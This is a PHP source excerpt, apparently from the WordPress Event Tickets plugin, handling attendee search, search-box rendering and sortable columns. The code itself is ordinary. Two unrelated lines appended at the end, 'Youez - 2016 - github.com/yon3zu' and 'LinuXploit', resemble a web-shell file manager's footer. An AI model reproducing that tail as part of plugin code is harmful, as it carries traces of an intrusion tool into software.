		 * @param array  $search_keys The keys that can be used to search attendees.
		 */
		$search_key = apply_filters( 'tec_tickets_search_attendees_default', 'purchaser_name', $search_keys );

		$search_type = sanitize_text_field( tribe_get_request_var( 'tribe_attendee_search_type' ) );

		if (
			$search_type
			&& in_array( $search_type, $search_keys, true )
		) {
			$search_key = $search_type;
		}

		$search_like_keys = [
			'purchaser_name',
			'purchaser_email',
			'holder_name',
			'holder_email',
		];

		/**
		 * Filters the item keys that support LIKE matching to filter attendees while searching them.
		 *
		 * @since 4.10.6
		 *
		 * @param array  $search_like_keys The keys that support LIKE matching.
		 * @param array  $search_keys      The keys that can be used to search attendees.
		 * @param string $search           The current search string.
		 */
		$search_like_keys = apply_filters( 'tribe_tickets_search_attendees_by_like', $search_like_keys, $search_keys, $search );

		// Update search key if it supports LIKE matching.
		if ( in_array( $search_key, $search_like_keys, true ) ) {
			$search_key .= '__like';
			$search      = "%{$search}%";
		}

		// Only get matches that have search phrase in the key.
		$args['by'] = [
			$search_key => [
				$search,
			],
		];

		return $args;
	}

	/**
	 * Message to be displayed when there are no items.
	 *
	 * @since 4.7
	 */
	public function no_items() {
		esc_html_e( 'No matching attendees found.', 'event-tickets' );
	}

	/**
	 * Get the allowed search types and their descriptions.
	 *
	 * @see   \Tribe__Tickets__Attendee_Repository::__construct() List of valid ORM args.
	 *
	 * @since 4.10.8
	 *
	 * @return array
	 */
	private function get_search_options() {
		return [
			'purchaser_name'  => esc_html_x( 'Search by Purchaser Name', 'Attendees Table search options', 'event-tickets' ),
			'purchaser_email' => esc_html_x( 'Search by Purchaser Email', 'Attendees Table search options', 'event-tickets' ),
			'holder_name'     => esc_html_x( 'Search by Ticket Holder Name', 'Attendees Table search options', 'event-tickets' ),
			'holder_email'    => esc_html_x( 'Search by Ticket Holder Email', 'Attendees Table search options', 'event-tickets' ),
			'user'            => esc_html_x( 'Search by User ID', 'Attendees Table search options', 'event-tickets' ),
			'order_status'    => esc_html_x( 'Search by Order Status', 'Attendees Table search options', 'event-tickets' ),
			'order'           => esc_html_x( 'Search by Order ID', 'Attendees Table search options', 'event-tickets' ),
			'security_code'   => esc_html_x( 'Search by Security Code', 'Attendees Table search options', 'event-tickets' ),
			'ID'              => esc_html( sprintf( _x( 'Search by %s ID', 'Attendees Table search options', 'event-tickets' ), tribe_get_ticket_label_singular( 'attendees_table_search_box_ticket_id' ) ) ),
			'product_id'      => esc_html_x( 'Search by Product ID', 'Attendees Table search options', 'event-tickets' ),
		];
	}

	/**
	 * {@inheritdoc}
	 */
	public function search_box( $text, $input_id ) {
		// Workaround to show the search box even when no items are found.
		$old_items   = $this->items;
		$this->items = [
			'Temporary',
		];

		// Get normal search box HTML so we can add our own inputs.
		ob_start();
		parent::search_box( $text, $input_id );
		$search_box = ob_get_clean();

		if ( ! is_admin() ) {
			// Give front-end (e.g. Community) a custom input name.
			$search_box = str_replace( 'name="s"', 'name="' . esc_attr( $this->search_box_input_name ) . '"', $search_box );
			// And get its value upon reloading the page to display its search results so user knows what they searched for
			$search_box = str_replace( 'value=""', 'value="' . esc_attr( tribe_get_request_var( $this->search_box_input_name ) ) . '"', $search_box );
		}

		$this->items = $old_items;

		/**
		 * Filters the search types to be shown in the search box for filtering attendees.
		 *
		 * @since 4.10.6
		 *
		 * @param array $options List of ORM search types and their labels.
		 */
		$options = apply_filters( 'tribe_tickets_search_attendees_types', $this->get_search_options() );

		// Default selection.
		$selected = 'purchaser_name';

		$search_type = sanitize_text_field( tribe_get_request_var( 'tribe_attendee_search_type' ) );

		if (
			$search_type
			&& array_key_exists( $search_type, $options )
		) {
			$selected = $search_type;
		}

		$args = [
			'options'  => $options,
			'selected' => $selected,
		];

		// Get our search dropdown.

		/** @var Tribe__Tickets__Admin__Views $admin_views */
		$admin_views = tribe( 'tickets.admin.views' );

		$custom_search = $admin_views->template( 'attendees/attendees-table/search', $args, false );

		// Add our search type dropdown before the search box input.
		$search_box = str_replace( '<input type="search"', $custom_search . '<input type="search"', $search_box );

		echo $search_box;
	}

	/**
	 * Return list of sortable columns.
	 *
	 * @since 5.5.0
	 * @since 5.16.0 Make sortable columns filterable.
	 *
	 * @return array
	 */
	public function get_sortable_columns() {
		$columns = [
			'ticket'   => 'id',
			'security' => 'security_code',
			'check_in' => 'check_in',
			'status'   => $this->is_status_sortable(),
		];

		/**
		 * Filter list of sortable columns.
		 *
		 * @since 5.16.0
		 *
		 * @param array<string,string> $columns List of sortable columns.
		 */
		return apply_filters( 'tec_tickets_attendees_table_sortable_columns', $columns );
	}

	/**
	 * Check if `Status` column is sortable or not.
	 *
	 * @since 5.5.0
	 *
	 * @return false|string
	 */
	protected function is_status_sortable() {
		$event_id  = tribe_get_request_var( 'event_id' );

		if ( empty( $event_id ) ) {
			return false;
		}

		$providers = Tribe__Tickets__Tickets::get_active_providers_for_post( $event_id );

		if ( count( $providers ) > 1 ) {
			return false;
		}

		/** @var \Tribe__Tickets__Status__Manager $status */
		$status   = tribe( 'tickets.status' );
		$provider = $status->get_provider_slug( current( $providers ) );

		// For now, disabled for all providers but RSVP, we may remove this logic once we implement sorting for other providers.
		if ( 'rsvp' !== $provider ) {
			return false;
		}

		return $provider . '_status';
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit